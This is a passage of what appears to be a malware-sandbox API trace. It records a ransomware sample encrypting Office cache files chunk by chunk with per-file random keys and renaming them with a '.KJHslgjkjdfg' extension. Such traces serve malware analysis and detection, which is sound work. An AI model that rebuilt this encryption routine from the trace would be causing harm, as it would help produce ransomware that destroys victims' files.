ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.151] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.155] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.155] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.156] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.156] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.156] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.156] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.162] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.165] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.165] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.166] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.166] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.167] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.167] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.170] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.173] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.173] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.174] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.174] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.174] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.174] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e66d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.174] SetEndOfFile (hFile=0x124) returned 1 [0166.177] GetProcessHeap () returned 0x2ef0000 [0166.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.177] GetProcessHeap () returned 0x2ef0000 [0166.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.177] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.kjhslgjkjdfg")) returned 1 [0166.178] CloseHandle (hObject=0x124) returned 1 [0166.178] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0166.178] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.179] GetProcessHeap () returned 0x2ef0000 [0166.179] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.179] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.179] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.179] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xe, lpOverlapped=0x0) returned 1 [0166.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.181] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.181] GetProcessHeap () returned 0x2ef0000 [0166.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.181] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0166.181] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.182] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0166.182] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0166.182] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0166.182] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0166.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.182] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0166.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.182] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.182] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.182] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x10b2, lpOverlapped=0x0) returned 1 [0166.183] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10c0) returned 1 [0166.183] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.183] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0166.184] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.184] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.184] SetEndOfFile (hFile=0x124) returned 1 [0166.185] GetProcessHeap () returned 0x2ef0000 [0166.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.185] GetProcessHeap () returned 0x2ef0000 [0166.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.185] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0166.191] CloseHandle (hObject=0x124) returned 1 [0166.191] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0166.191] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0166.191] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0166.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.192] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=36233052) returned 1 [0166.192] GetProcessHeap () returned 0x2ef0000 [0166.192] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.192] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.192] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.192] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.203] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.203] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.203] GetProcessHeap () returned 0x2ef0000 [0166.203] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0166.203] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0166.203] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.203] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0166.203] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0166.203] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0166.204] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0166.204] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0166.204] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0166.204] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0166.204] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.204] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.204] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.208] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.214] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.214] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.215] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.215] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.215] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.215] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.220] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.222] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.222] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.223] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0166.223] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0166.230] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0166.232] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.232] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0166.233] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.233] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0166.233] CryptDestroyKey (hKey=0x2f18208) returned 1 [0166.233] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.233] SetEndOfFile (hFile=0x124) returned 1 [0166.236] GetProcessHeap () returned 0x2ef0000 [0166.236] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0166.236] GetProcessHeap () returned 0x2ef0000 [0166.236] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0166.236] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0166.237] CloseHandle (hObject=0x124) returned 1 [0166.237] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0166.237] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0166.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0166.238] GetProcessHeap () returned 0x2ef0000 [0166.238] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0166.238] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0166.238] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0166.238] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x6, lpOverlapped=0x0) returned 1 [0166.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0166.240] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0166.240] GetProcessHeap () returned 0x2ef0000 [0166.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0166.240] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, 